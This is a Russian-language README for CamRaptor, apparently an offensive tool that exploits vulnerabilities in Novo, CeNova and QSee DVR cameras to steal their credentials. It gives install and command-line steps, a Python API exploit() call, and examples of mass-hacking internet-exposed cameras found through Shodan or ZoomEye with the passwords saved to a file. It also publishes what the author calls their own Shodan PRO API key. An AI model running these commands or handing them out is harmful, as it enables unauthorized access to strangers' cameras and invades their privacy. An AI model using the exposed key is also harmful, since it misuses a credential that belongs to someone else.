CamRaptor

CamRaptor — это инструмент, который использует несколько уязвимостей в популярных DVR-камерах для получения учётных данных от сетевых камер.

Возможности

• Использует уязвимости в наиболее популярных моделях камер, таких как Novo, CeNova и QSee.
• Оптимизирован для одновременного взлома нескольких камер из списка с поддержкой многопоточности.
• Простой CLI и API.

Установка

pip3 install git+https://github.com/EntySec/CamRaptor

Базовое использование

Чтобы использовать CamRaptor, просто введите camraptor в терминале.

usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
                 [--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.

optional arguments:
  -h, --help            показать это справочное сообщение и выйти
  -t, --threads         Использовать многопоточность для более быстрой работы.
  -o OUTPUT, --output OUTPUT
                        Вывести результат в файл.
  -i INPUT, --input INPUT
                        Входной файл с адресами.
  -a ADDRESS, --address ADDRESS
                        Одиночный адрес.
  --shodan SHODAN       API-ключ Shodan для взлома устройств через Интернет.
  --zoomeye ZOOMEYE     API-ключ ZoomEye для взлома устройств через Интернет.
  -p PAGES, --pages PAGES
                        Количество страниц, которое вы хотите получить из ZoomEye.

Примеры

Взлом одной камеры

Давайте взломаем мою камеру просто ради развлечения.

camraptor -a 192.168.99.100

Взлом камер из Интернета

Попробуем использовать поисковую систему Shodan для взлома камер через Интернет, используем флаг -t для быстрого взлома.

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

ПРИМЕЧАНИЕ: Предоставленный API-ключ Shodan (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) — это мой PRO-ключ. Вы можете использовать этот ключ или свой собственный, смело пользуйтесь всеми нашими ресурсами бесплатно :)

Взлом камер из входного файла

Попробуем использовать открытую базу данных камер с флагом -t для быстрого взлома.

camraptor -t -i cameras.txt -o passwords.txt

ПРИМЕЧАНИЕ: Это взломает все камеры из списка cameras.txt по их адресам и сохранит все полученные пароли в файл passwords.txt.

Использование API

CamRaptor также имеет свой собственный Python API, который можно вызвать, импортировав CamRaptor в свой код.

from camraptor import CamRaptor

Основные функции

Вот все основные функции CamRaptor, которые можно использовать для взлома указанной камеры.

• exploit(address) — Взлом одной камеры по заданному адресу.

Примеры

Взлом одной камеры

from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)